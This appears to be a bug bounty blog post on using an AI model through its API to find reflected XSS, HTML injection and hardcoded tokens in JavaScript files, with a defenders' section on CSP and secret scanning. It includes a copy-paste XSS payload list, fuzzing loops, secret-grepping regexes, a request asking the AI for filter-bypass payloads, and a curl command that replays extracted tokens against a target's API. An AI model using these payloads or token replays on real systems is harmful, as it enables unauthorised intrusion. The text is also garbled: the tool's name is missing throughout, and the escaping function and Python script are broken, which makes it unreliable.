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Introduction:
Modern bug bounty hunters are no longer relying solely on manual testing—they’re integrating AI code analyzers like Code to automatically spot reflected XSS, HTML injections, and token leakage hidden inside JavaScript files. In a recent real-world case, a hunter earned a $275 bounty by letting identify these low-hanging vulnerabilities, plus a high-severity bug currently under review. This article breaks down the exact techniques, commands, and workflows you need to replicate that success.
Learning Objectives:
- Leverage AI-assisted code analysis ( Code) to identify XSS, HTML injection, and token leakage in JavaScript assets.
- Execute manual and automated payload testing for reflected XSS and HTML injection across Linux and Windows environments.
- Extract and analyze hardcoded secrets from client-side JavaScript using regex, grep, and AI pattern recognition.
You Should Know:
1. Setting Up Code for JavaScript Analysis
Code is an AI-powered static analysis tool that ingests JavaScript files and flags injection points, exposed tokens, and suspicious DOM sinks. To start, you need access to ’s API (Anthropic) and a way to feed it JS file contents.
Step‑by‑step guide:
- Obtain an API key from Anthropic.
- Use `curl` to send a JavaScript file to for analysis:
Linux / macOS / WSL curl -X POST https://api.anthropic.com/v1/messages \ -H "x-api-key: YOUR_API_KEY" \ -H "content-type: application/json" \ -d '{ "model": "-3-opus-20240229", "max_tokens": 1024, "messages": [{"role": "user", "content": "Analyze this JavaScript for XSS sinks, HTML injection, and hardcoded tokens:\n\n" + "$(cat target.js)"}] }'
3. For Windows (PowerShell), use:
$jsContent = Get-Content -Raw target.js
$body = @{
model = "-3-opus-20240229"
max_tokens = 1024
messages = @(@{role="user"; content="Analyze this JS for XSS and tokens: $jsContent"})
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://api.anthropic.com/v1/messages" -Method Post -Headers @{"x-api-key"="YOUR_API_KEY"; "content-type"="application/json"} -Body $body
4. Automate by crawling all JS files from a target domain:
Using gau + katana
gau target.com | grep '.js$' | xargs -I{} curl -s {} | -analyze.sh
This setup transforms into your personal code reviewer, flagging document.write, innerHTML, eval(), and regex matches for API keys or JWTs.
2. Finding Reflected XSS & HTML Injection
Reflected XSS occurs when user input is echoed unsanitized in the response. HTML injection is similar but without script execution. Use to generate context‑aware payloads, then test manually.
Manual payload list (copy‑paste into parameters):
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
">
<
svg/onload=alert(1)>
javascript:alert('XSS')
Automated testing with `ffuf` (Linux):
ffuf -u "https://target.com/search?q=FUZZ" -w xss_payloads.txt -mr "alert|script|onerror"
Windows alternative (using `Invoke-WebRequest` loop):
Get-Content xss_payloads.txt | ForEach-Object {
$url = "https://target.com/search?q=$([System.Uri]::EscapeDataString($_))"
$resp = Invoke-WebRequest -Uri $url
if ($resp.Content -match "alert|script|onerror") { Write-Host "Possible XSS: $_" }
}
How to use to refine payloads: Paste the target’s response snippet into and ask, “Generate an XSS payload that bypasses this filter: [paste filter regex]”. will output obfuscated variants like `%253cscript%253e.
3. Token Leakage Hunting in Client‑Side Code
Hardcoded tokens (API keys, JWT secrets, cloud credentials) often leak in bundled JS files. Use command-line tools and to spot them.
Extract potential tokens with regex (Linux):
grep -Eio '(api[_-]?key|token|secret|jwt|bearer)[[:space:]][:=][[:space:]]["'"'"']?[A-Za-z0-9_-]{20,}' .js
For Windows (findstr):
findstr /R "api[-_]key.[:=].[A-Za-z0-9]{20,}" .js
Step‑by‑step using for false positive reduction:
- Collect all JS URLs from a target using `hakrawler` or
gospider:echo "https://target.com" | gospider -a -d 2 | grep '.js$' > js_urls.txt
2. Download each JS file:
while read url; do curl -s "$url" > $(basename "$url"); done < js_urls.txt
3. Feed each file to with the prompt: “Extract every string that looks like a secret token (JWT, API key, password) and explain why it is or isn’t dangerous.”
4. For high‑confidence tokens, validate by testing the API endpoint using curl:
curl -H "Authorization: Bearer EXTRACTED_TOKEN" https://target.com/api/user
This approach caught a $275 bounty for the original hunter—and often leads to critical severity issues when tokens grant privileged access.
4. Automating Low‑Hanging Fruit Discovery with Python +
Create a lightweight scanner that pipes suspicious lines to for real‑time verdicts.
Python script (`_xss_scanner.py`):
import requests, sys, re
from pathlib import Path
ANTHROPIC_API_KEY = "YOUR_KEY"
def analyze_with_(code_snippet):
headers = {"x-api-key": ANTHROPIC_API_KEY, "content-type": "application/json"}
data = {
"model": "-3-haiku-20240307",
"max_tokens": 300,
"messages": [{"role": "user", "content": f"Is this vulnerable to XSS or token leak? Reply only 'YES' or 'NO' and why.\n\n{code_snippet}"}]
}
resp = requests.post("https://api.anthropic.com/v1/messages", json=data, headers=headers)
return resp.json()["content"][bash]["text"]
Scan all JS files in current directory
for js_file in Path(".").glob(".js"):
content = js_file.read_text()
Find dangerous DOM sinks
if re.search(r'(document.write|innerHTML|eval|setTimeout()', content):
result = analyze_with_(content[:2000]) send first 2000 chars
print(f"{js_file.name}: {result}")
Run it with:
python _xss_scanner.py
This script reduces manual triage time and can be scheduled against new JS files weekly.
5. Mitigation & Secure Coding Practices (for Defenders)
Understanding how to fix these bugs makes you a better hunter. Here are hardened configurations to prevent XSS and token leakage.
Prevent XSS with Content Security Policy (CSP) headers (Apache):
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none';"
Test CSP effectiveness using `curl`:
curl -I https://target.com | grep -i content-security-policy
Prevent HTML injection by output encoding (Node.js example):
const escapeHtml = (unsafe) => unsafe.replace(/[&<>]/g, function(m) {
if (m === '&') return '&';
if (m === '<') return '<';
if (m === '>') return '>';
return m;
});
res.send(escapeHtml(userInput));
Prevent token leakage:
- Never hardcode secrets in client‑side JS. Use environment variables and server‑side APIs.
- Scan your own codebase with `trufflehog` (Linux):
trufflehog filesystem --directory=./static/js --only-verified
- For Windows, use `git-secrets` to block commits containing patterns.
6. Real‑World Bounty Workflow & Community Collaboration
The original hunter emphasized using to analyze JS files during reconnaissance. Here’s the complete workflow:
- Recon – Collect subdomains (
subfinder), then gather all JS endpoints (katanaorgau). - AI Analysis – Feed each JS file to (via API or manual paste) with a prompt focused on XSS sinks and token regex.
- Manual Validation – For every flag, attempt exploitation using Burp Suite repeater or
curl. Example for token leakage:curl -X GET "https://api.target.com/user" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."
- Report Writing – Use to draft a professional bounty report including proof of concept (PoC) commands.
- Collaborate – Join communities like the WhatsApp group for practical cybersecurity to share techniques and get feedback.
Pro tip: Set up a cron job (Linux) or Task Scheduler (Windows) to re‑scan JS files weekly for new token leaks.
What Undercode Say:
- AI accelerates low‑hanging fruit hunting – Code transforms tedious JS grep sessions into interactive, context‑aware analysis, making $275 bounties achievable in hours instead of days.
- Manual validation remains irreplaceable – While AI flags potential issues, only manual testing (curl, Burp, custom payloads) confirms exploitability and avoids false positives.
- Community amplifies success – Sharing real‑world findings in dedicated cybersecurity groups (like the WhatsApp link above) leads to faster triage, new techniques, and collaborative debugging.
Analysis: The rise of AI coding assistants has created a new breed of bug bounty hunter—one who treats AI as a junior analyst. By feeding JavaScript files to , hunters can spot DOM‑based XSS and hardcoded secrets that automated scanners miss. However, reliance on AI without understanding the underlying vulnerability leads to weak reports. The original hunter’s $275 bounty proves that combining AI’s pattern recognition with manual validation and community feedback yields consistent payouts.
Prediction:
Within 18 months, AI‑powered code analysis will become standard in every bug bounty hunter’s toolkit, lowering the entry barrier and increasing competition for low‑hanging fruits. Expect bounty programs to raise the bar by obfuscating JavaScript, implementing stricter CSPs, and using AI themselves to pre‑filter reports. Hunters who master hybrid workflows (AI + manual + automation) will dominate, while those relying solely on traditional scanners will see diminishing returns. Token leakage, in particular, will shift from client‑side to server‑side misconfigurations as developers learn to avoid hardcoded secrets—creating a new wave of high‑severity API‑related bounties.
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IT/Security Reporter URL:
Reported By: Vbvishalbarot Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
